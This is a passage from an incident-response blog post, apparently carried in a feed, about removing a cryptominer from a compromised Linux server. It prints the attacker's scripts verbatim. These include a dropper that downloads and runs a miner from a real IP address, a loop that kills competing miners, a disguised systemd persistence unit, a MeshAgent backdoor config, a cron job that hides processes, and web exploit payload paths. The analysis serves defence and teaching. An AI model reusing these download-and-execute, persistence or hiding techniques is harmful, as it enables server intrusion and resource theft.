    &lt;span class="k"&gt;for&lt;/span&gt; proc_dir &lt;span class="k"&gt;in&lt;/span&gt; /proc/&lt;span class="o"&gt;[&lt;/span&gt;0-9&lt;span class="o"&gt;]&lt;/span&gt;*&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
        &lt;span class="nv"&gt;pid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;${proc_dir##*/}&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; strings &lt;span class="s2"&gt;"/proc/$pid/exe"&lt;/span&gt; 2&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;/dev/null &lt;span class="o"&gt;|&lt;/span&gt; grep -q xmrig&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
            &lt;span class="nb"&gt;kill&lt;/span&gt; -9 &lt;span class="s2"&gt;"$pid"&lt;/span&gt;
            &lt;span class="nb"&gt;continue&lt;/span&gt;
        &lt;span class="k"&gt;fi&lt;/span&gt;

        &lt;span class="nv"&gt;result&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$(&lt;/span&gt;ls -l &lt;span class="s2"&gt;"/proc/$pid/exe"&lt;/span&gt; 2&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;/dev/null&lt;span class="o"&gt;)&lt;/span&gt;

        &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="s2"&gt;"$result"&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt;
            *&lt;span class="s2"&gt;"(deleted)"&lt;/span&gt;* &lt;span class="o"&gt;|&lt;/span&gt; *&lt;span class="s2"&gt;"xmrig"&lt;/span&gt;* &lt;span class="o"&gt;|&lt;/span&gt; *&lt;span class="s2"&gt;"watcher"&lt;/span&gt;* &lt;span class="o"&gt;|&lt;/span&gt; *&lt;span class="s2"&gt;"/tmp/a"&lt;/span&gt;* &lt;span class="o"&gt;|&lt;/span&gt; *&lt;span class="s2"&gt;"softirq"&lt;/span&gt;* &lt;span class="o"&gt;|&lt;/span&gt; *&lt;span class="s2"&gt;"rondo"&lt;/span&gt;*&lt;span class="o"&gt;)&lt;/span&gt;
                &lt;span class="nb"&gt;kill&lt;/span&gt; -9 &lt;span class="s2"&gt;"$pid"&lt;/span&gt;
                &lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;esac&lt;/span&gt;
    &lt;span class="k"&gt;done&lt;/span&gt;

    sleep 45
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This script continuously scanned running processes every 45 seconds.&lt;/p&gt;

&lt;p&gt;It inspected executable files under &lt;code&gt;/proc&lt;/code&gt; and terminated processes matching specific patterns, including:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;xmrig&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;watcher&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;softirq&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rondo&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/tmp/a&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Interestingly, the script appeared to be killing other mining processes.&lt;/p&gt;

&lt;p&gt;My interpretation was that the attacker wanted to eliminate competing miners and maintain exclusive access to the server's computing resources.&lt;/p&gt;

&lt;p&gt;However, this script was only part of the infection.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Discovering the Actual Mining Payload
&lt;/h2&gt;

&lt;p&gt;The more important file was located at:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/dev/shm/bts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Its contents explained how the mining operation worked.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;

pkill -9 xmrig

&lt;span class="nv"&gt;P&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"fghgf"&lt;/span&gt;
&lt;span class="nv"&gt;R&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"/dev"&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; ! pgrep &lt;span class="nv"&gt;$P&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /dev/null&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
    busybox wget http://193.34.213.150/nuts/x -O-&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;/tmp/&lt;span class="nv"&gt;$P&lt;/span&gt;
    busybox wget http://193.34.213.150/nuts/lc -O-&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;/tmp/config.json

    chmod 777 /tmp/&lt;span class="nv"&gt;$P&lt;/span&gt;
    /tmp/&lt;span class="nv"&gt;$P&lt;/span&gt; -c /tmp/config.json -B &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;
&lt;span class="k"&gt;fi&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; ! pgrep &lt;span class="s2"&gt;"health.sh"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
    cat &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="s1"&gt;'EOF'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"${R}/health.sh"&lt;/span&gt;
    &lt;span class="c"&gt;# ... health.sh content auto-generated ...&lt;/span&gt;
EOF

    chmod 777 &lt;span class="s2"&gt;"${R}/health.sh"&lt;/span&gt;
    &lt;span class="nv"&gt;${R}&lt;/span&gt;/health.sh &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;
&lt;span class="k"&gt;fi&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; MEOWWWWWWWWW
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The execution flow was relatively straightforward:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Kill existing &lt;code&gt;xmrig&lt;/code&gt; processes.&lt;/li&gt;
&lt;li&gt;Download a mining executable and configuration file from an attacker-controlled server.&lt;/li&gt;
&lt;li&gt;Make the downloaded executable runnable.&lt;/li&gt;
&lt;li&gt;Launch the miner in the background.&lt;/li&gt;
&lt;li&gt;Recreate &lt;code&gt;health.sh&lt;/code&gt; if it is missing.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;And finally:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; MEOWWWWWWWWW
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Yes. The attacker actually left a &lt;code&gt;MEOWWWWWWWWW&lt;/code&gt; message in the script.&lt;/p&gt;

&lt;p&gt;Not exactly what I expected to find during a security incident.&lt;/p&gt;

&lt;h3&gt;
  
  
  What made this dangerous?
&lt;/h3&gt;

&lt;p&gt;The payload was not simply a standalone miner.&lt;/p&gt;

&lt;p&gt;It also included mechanisms to maintain the mining operation and interfere with other processes.&lt;/p&gt;

&lt;p&gt;This meant that killing one suspicious process would not necessarily stop the infection.&lt;/p&gt;

&lt;p&gt;Unfortunately, I learned that lesson the hard way.&lt;/p&gt;




&lt;h2&gt;
  
  
  4. My First Attempt at Removal
&lt;/h2&gt;

&lt;p&gt;At this point, I believed I had identified the malicious components.&lt;/p&gt;

&lt;p&gt;I terminated the suspicious processes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pkill -9 -f &lt;span class="s2"&gt;"health.sh"&lt;/span&gt;
pkill -9 -f &lt;span class="s2"&gt;"fghgf"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then removed the files:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;rm -f /dev/health.sh
rm -f /dev/shm/bts
rm -f /tmp/fghgf
rm -f /tmp/config.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I also blocked the identified IP address using UFW:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ufw deny out to 193.34.213.150
ufw deny &lt;span class="k"&gt;in&lt;/span&gt; from 193.34.213.150
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Additionally, I applied country-based access restrictions through my cloud provider's firewall.&lt;/p&gt;

&lt;p&gt;The CPU usage returned to normal.&lt;/p&gt;

&lt;p&gt;Everything looked fine.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;I thought the incident was over.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;It wasn't.&lt;/p&gt;




&lt;h2&gt;
  
  
  5. Ten Hours Later: The Miner Returns
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Saturday, December 6, 2025
&lt;/h3&gt;

&lt;p&gt;Around 10 AM, I checked the server again.&lt;/p&gt;

&lt;p&gt;The CPU usage had reached &lt;strong&gt;200%&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;A new suspicious process was running:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PID      USER  PR NI  VIRT  RES  SHR  S  %CPU   COMMAND
2313800  root  20  0   ...   ...  ...  R  200.0  p9gzSA
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This time, the executable had a different name.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;p9gzSA
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Its command line revealed another mining endpoint:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/root/aO7j/p9gzSA -o www.digitaloceana.top:80 --tls
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The attacker was not relying on a single executable or endpoint.&lt;/p&gt;

&lt;p&gt;My initial cleanup had removed the visible symptoms, but something deeper was still active.&lt;/p&gt;

&lt;p&gt;I decided to investigate the entire system.&lt;/p&gt;

&lt;h2&gt;
  
  
  6. Hidden Persistence Through systemd
&lt;/h2&gt;

&lt;p&gt;While examining system services, I discovered a suspicious unit file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;cat /usr/lib/systemd/system/systemd-agent.service
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Its contents were:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="k"&gt;[Unit]&lt;/span&gt;
&lt;span class="na"&gt;Description&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nc"&gt;System&lt;/span&gt; &lt;span class="nc"&gt;Daemon&lt;/span&gt;
&lt;span class="na"&gt;Wants&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;network&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;online&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;
&lt;span class="na"&gt;After&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;network&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;online&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;

&lt;span class="k"&gt;[Service]&lt;/span&gt;
&lt;span class="na"&gt;ExecStart&lt;/span&gt;&lt;span class="o"&gt;=/&lt;/span&gt;&lt;span class="n"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;systemd&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;daemon&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;
&lt;span class="na"&gt;Restart&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;always&lt;/span&gt;
&lt;span class="na"&gt;User&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;

&lt;span class="k"&gt;[Install]&lt;/span&gt;
&lt;span class="na"&gt;WantedBy&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;multi&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;At first glance, the name looked legitimate.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;systemd-agent.service&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The description was equally generic:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;System Daemon&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;But the service was not part of my intended system configuration.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why this mattered
&lt;/h3&gt;

&lt;p&gt;Several details stood out:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;Restart=always&lt;/code&gt; would restart the process whenever it exited.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;User=root&lt;/code&gt; meant the executable ran with root privileges.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;WantedBy=multi-user.target&lt;/code&gt; allowed the service to be enabled for normal system startup.&lt;/li&gt;
&lt;li&gt;The executable name resembled a legitimate system component.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This explained why simply killing processes was not enough.&lt;/p&gt;

&lt;p&gt;The system itself could restart the malicious executable.&lt;/p&gt;

&lt;h3&gt;
  
  
  Additional C2 Infrastructure
&lt;/h3&gt;

&lt;p&gt;During further analysis, I identified four hardcoded IP addresses associated with the suspicious components:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;185.247.224.41
87.98.162.88
82.221.103.244
67.215.246.10
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The attacker had apparently prepared multiple endpoints rather than depending on a single server.&lt;/p&gt;

&lt;p&gt;Blocking one address was never going to be a complete solution.&lt;/p&gt;




&lt;h2&gt;
  
  
  7. A Remote Management Backdoor: MeshAgent
&lt;/h2&gt;

&lt;p&gt;The next discovery was even more concerning.&lt;/p&gt;

&lt;p&gt;I found a directory containing a MeshAgent executable:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ls /usr/local/mesh_services/meshagent/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;meshagent
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;MeshAgent is associated with MeshCentral, a legitimate remote device management platform.&lt;/p&gt;

&lt;p&gt;But in this context, I had never authorized its installation.&lt;/p&gt;

&lt;p&gt;The configuration referenced:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;MeshServer: wss://72.62.67.33:443/agent.ashx
MeshName: all_notcloud
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This suggested that the attacker had installed a remote management agent.&lt;/p&gt;

&lt;p&gt;The incident was no longer just about cryptocurrency mining.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;An unauthorized remote management tool could potentially provide persistent access to the compromised server.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  A Suspicious Cron Job
&lt;/h3&gt;

&lt;p&gt;I also discovered an unusual crontab entry:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;* * * * * pgrep -f meshagent | while read pid; do \
    mountpoint -q /proc/$pid || mount -o bind /tmp/empty /proc/$pid 2&amp;gt;/dev/null; \
done
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This command ran every minute.&lt;/p&gt;

&lt;p&gt;It attempted to bind-mount &lt;code&gt;/tmp/empty&lt;/code&gt; over &lt;code&gt;/proc/$pid&lt;/code&gt; for processes matching &lt;code&gt;meshagent&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;This appeared to be an attempt to interfere with process inspection or visibility, although the precise effect would depend on the mount configuration and whether the command succeeded.&lt;/p&gt;

&lt;p&gt;By this point, I had identified multiple layers of suspicious activity:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Cryptocurrency mining processes&lt;/li&gt;
&lt;li&gt;Scripts that recreated malicious components&lt;/li&gt;
&lt;li&gt;A disguised systemd service&lt;/li&gt;
&lt;li&gt;Multiple external endpoints&lt;/li&gt;
&lt;li&gt;An unauthorized remote management agent&lt;/li&gt;
&lt;li&gt;A cron-based process manipulation mechanism&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Removing the miner alone was clearly insufficient.&lt;/p&gt;




&lt;h2&gt;
  
  
  8. Tracing the Initial Intrusion
&lt;/h2&gt;

&lt;p&gt;I realized that my first response had focused entirely on removing malicious files.&lt;/p&gt;

&lt;p&gt;I had not answered the most important question:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How did the attacker get into the server in the first place?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I started by reviewing SSH authentication logs.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;grep -i &lt;span class="s2"&gt;"Accepted"&lt;/span&gt; /var/log/auth.log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I couldn't find evidence of a suspicious external SSH login.&lt;/p&gt;

&lt;p&gt;That pushed my investigation toward the web applications hosted on the server.&lt;/p&gt;

&lt;h3&gt;
  
  
  Analyzing Web Server Access Logs
&lt;/h3&gt;

&lt;p&gt;I reviewed the web server access logs chronologically.&lt;/p&gt;

&lt;p&gt;The activity suggested that reconnaissance attempts had begun in late November.&lt;/p&gt;

&lt;p&gt;More aggressive attack traffic appeared around December 2.&lt;/p&gt;

&lt;p&gt;On December 5, I found evidence of remote code execution attempts.&lt;/p&gt;

&lt;p&gt;On December 6, the logs showed a large-scale scan involving numerous potential RCE vectors within a short period.&lt;/p&gt;

&lt;p&gt;Some of the suspicious requests targeted:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
php://input
eval-stdin.php
call_user_func_array
pearcmd&amp;amp;+config-create
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These corresponded to well-known attack techniques:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Payload / Target&lt;/th&gt;
&lt;th&gt;Suspected Attack Type&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/cgi-bin/.%2e/.../bin/sh&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Path traversal&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;php://input&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;PHP code execution&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;eval-stdin.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;PHPUnit RCE&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;call_user_func_array&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ThinkPHP RCE&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;pearcmd&amp;amp;+config-create&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;PEAR command injection&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The attacker, or automated scanning infrastructure, appeared to be probing a variety of known vulnerabilities.&lt;/p&gt;

&lt;p&gt;But one application stood out.&lt;/p&gt;




&lt;h2&gt;
  
  
  9. The Suspected Entry Point: Next.js RSC
&lt;/h2&gt;

&lt;p&gt;The server was also hosting a Next.js application.&lt;/p&gt;

&lt;p&gt;While reviewing the access logs, I noticed numerous POST requests targeting endpoints associated with React Server Components and Server Actions.&lt;/p&gt;

&lt;p&gt;Examples included:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="no"&gt;POST&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;_next&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;flight&lt;/span&gt;
&lt;span class="no"&gt;POST&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;_react&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;flight&lt;/span&gt;
&lt;span class="no"&gt;POST&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;_next&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;actions&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These requests raised concerns about exploitation attempts targeting React Server Components serialization and deserialization behavior.&lt;/p&gt;

&lt;p&gt;At the time of the incident, critical RCE vulnerabilities affecting React Server Components and certain Next.js deployments had become a major security concern.&lt;/p&gt;

&lt;p&gt;The observed traffic was consistent with attempts to exploit this class of vulnerability.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why I Suspected Next.js
&lt;/h3&gt;

&lt;p&gt;Several observations pointed toward the application:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The server was running a Next.js project.&lt;/li&gt;
&lt;li&gt;The access logs contained suspicious POST traffic targeting RSC-related endpoints.&lt;/li&gt;
&lt;li&gt;The incident occurred during a period of active exploitation of RSC-related vulnerabilities.&lt;/li&gt;
&lt;li&gt;My first cleanup did not address the potentially vulnerable application.&lt;/li&gt;
&lt;li&gt;The server experienced another mining incident after the initial removal.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Based on the evidence available to me, &lt;strong&gt;the Next.js application was the strongest suspected entry point&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;However, the access logs alone did not conclusively prove which request achieved code execution.&lt;/p&gt;

&lt;p&gt;Confirming the exact exploit would require additional evidence, such as payload analysis, application version verification, process execution telemetry, or forensic correlation.&lt;/p&gt;

&lt;p&gt;The important lesson was unchanged:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Removing malware without addressing the vulnerability that may have allowed the intrusion leaves the system exposed.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  10. Final Response: Rebuilding the Server
&lt;/h2&gt;

&lt;p&gt;After discovering the multiple persistence mechanisms, I no longer trusted the integrity of the operating system.&lt;/p&gt;

&lt;p&gt;The suspicious components had operated with root privileges.&lt;/p&gt;

&lt;p&gt;There was no reliable way to guarantee that every malicious modification had been discovered.&lt;/p&gt;

&lt;p&gt;Instead of continuing to remove individual files, I chose to rebuild.&lt;/p&gt;

&lt;p&gt;The response included:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Applying security patches and updating vulnerable application dependencies.&lt;/li&gt;
&lt;li&gt;Decommissioning the compromised server.&lt;/li&gt;
&lt;li&gt;Migrating the application to a newly provisioned server.&lt;/li&gt;
&lt;li&gt;Reviewing firewall and network access rules.&lt;/li&gt;
&lt;li&gt;Reassessing the application's exposed attack surface.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The old server was ultimately removed.&lt;/p&gt;

&lt;p&gt;A clean environment was the safer choice than continuing to operate a system whose integrity could no longer be trusted.&lt;/p&gt;




&lt;h2&gt;
  
  
  11. What I Learned
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Normal CPU usage does not mean the server is clean
&lt;/h3&gt;

&lt;p&gt;During my first response, I treated the CPU returning to normal as a sign of success.&lt;/p&gt;

&lt;p&gt;That was my biggest mistake.&lt;/p&gt;

&lt;p&gt;The miner had stopped, but persistence mechanisms remained.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Attackers may establish multiple persistence mechanisms
&lt;/h3&gt;

&lt;p&gt;In this incident, I discovered suspicious components involving:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Shell scripts&lt;/li&gt;
&lt;li&gt;systemd services&lt;/li&gt;
&lt;li&gt;Cron jobs&lt;/li&gt;
&lt;li&gt;Remote management software&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Finding one malicious process does not mean you have found the entire compromise.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Always investigate the initial access vector
&lt;/h3&gt;

&lt;p&gt;Deleting the payload does not fix the vulnerability that allowed it to execute.&lt;/p&gt;

&lt;p&gt;Incident response must include identifying and addressing the original entry point wherever possible.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Root-level compromise changes the recovery strategy
&lt;/h3&gt;

&lt;p&gt;Once an attacker has gained root-level execution, manually removing suspicious files cannot establish that the system is trustworthy again.&lt;/p&gt;

&lt;p&gt;Rebuilding from a known-good environment is often the safest recovery approach.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. Logs are essential
&lt;/h3&gt;

&lt;p&gt;Without web server access logs, I would have had very little information about the attack timeline.&lt;/p&gt;

&lt;p&gt;The chronological log analysis helped me understand how the incident developed and where to focus the investigation.&lt;/p&gt;

&lt;h3&gt;
  
  
  6. Security updates cannot be postponed indefinitely
&lt;/h3&gt;

&lt;p&gt;Even a small web application can become an entry point for a much larger compromise.&lt;/p&gt;

&lt;p&gt;Keeping frameworks, runtimes, and dependencies updated is essential.&lt;/p&gt;




&lt;h2&gt;
  
  
  Final Thoughts
&lt;/h2&gt;

&lt;p&gt;What started as a suspicious CPU spike turned into a 15-hour investigation.&lt;/p&gt;

&lt;p&gt;I found cryptocurrency miners, a disguised systemd service, multiple external endpoints, an unauthorized MeshAgent installation, and evidence suggesting attempts to exploit a Next.js RSC vulnerability.&lt;/p&gt;

&lt;p&gt;The most important lesson was simple:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Don't just remove the malware. Find out how it got there, eliminate persistence, and restore trust in the environment.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;During the first response, I focused on making the symptoms disappear.&lt;/p&gt;

&lt;p&gt;During the second response, I finally started investigating the underlying compromise.&lt;/p&gt;

&lt;p&gt;That difference changed how I think about server security and incident response.&lt;/p&gt;

&lt;p&gt;If you've dealt with a similar Linux server compromise, I'd be interested to hear what persistence mechanisms you encountered and how you approached recovery.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Originally published on my personal blog: &lt;a href="https://jikwang.net/en/blog/xmrig-malware-removal-case-study" rel="noopener noreferrer"&gt;Server Gets Hacked — Crypto Miner Incident Response&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;All IP addresses, domains, commands, and process names shown in this article were observed during the incident. They are included for security research and incident analysis purposes. Their presence does not establish current malicious activity or attribution.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>linux</category>
      <category>nextjs</category>
      <category>devops</category>
    </item>
    <item>
      <title>Advanced RAG chatbot - from vector search to context validation.</title>
      <dc:creator>Jikwang Moon</dc:creator>
      <pubDate>Mon, 09 Nov 2026 02:24:32 +0000</pubDate>
      <link>https://dev.to/moonjikwang/advanced-rag-chatbot-from-vector-search-to-context-validation-i0m</link>
      <guid>https://dev.to/moonjikwang/advanced-rag-chatbot-from-vector-search-to-context-validation-i0m</guid>
      <description>&lt;blockquote&gt;
